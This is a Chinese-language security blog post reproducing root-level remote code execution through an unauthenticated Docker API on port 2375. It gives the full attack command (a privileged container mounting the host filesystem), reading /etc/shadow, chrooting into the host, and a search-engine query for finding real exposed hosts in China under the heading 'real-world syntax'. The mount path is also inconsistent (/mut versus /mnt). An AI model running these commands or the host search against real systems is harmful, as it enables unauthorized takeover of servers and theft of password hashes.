Easy RCE using Docker API 复现

  • A+
所属分类:安全文章

漏洞来源:

https://twitter.com/ptswarm/status/1338477426276511749/photo/1


payload: docker -H x.x.x.x:2375 run --rm -it --privileged --net=host -v /:/mut alpineFile Access: cat /mnt/etc/shadow RCE: chroot /mnt

原理:

Docker提供了远程管理接口。

Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令

端口2375:未加密的docker socket,远程root无密码访问主机


复现环境:

kali

centos

各安装docker


安装centos因为现装的,啥环境都没

docker安装:

sudo apt -y install curl gnupg2 apt-transport-https software-properties-common ca-certificatescurl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -echo "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" | sudo tee  /etc/apt/sources.list.d/docker.listapt updateapt install docker-ce docker-ce-cli containerd.iodocker version


docekr配置文件:

/usr/lib/systemd/system/docker.service

开启远程访问连接的api:

Easy RCE using Docker API 复现

systemctl daemon-reloadsystemctl restart docker

验证端口是否开启:

netstat -anlp|grep 2375


Easy RCE using Docker API 复现

nmap扫描:

Easy RCE using Docker API 复现


kali执行:

kail已经安装docker了这就不多说了快下班了~

docker -H 192.168.5.135:2375 run --rm -it --privileged --net=host -v /:/mut alpine


run               =运行--rm              =用于foreground模式的容器-it               =指示Docker分配一个与容器的stdin连接的伪TTY;在容器中创建一个交互式bash shell--privileged      =在启动的容器,可以看到很多host上的设备,并且可以执行mount--net=host        =加了net=host后会使得创建的容器进入命令行好名称显示为主机的名称而不是一串id-v                =把宿主机的目录挂载到容器中alpine            =镜像

结果总结:


环境一下午复现2分钟


Easy RCE using Docker API 复现


实战语法:

port="2375" && protocol == docker && country="CN" 

本文始发于微信公众号(Khan安全团队):Easy RCE using Docker API 复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: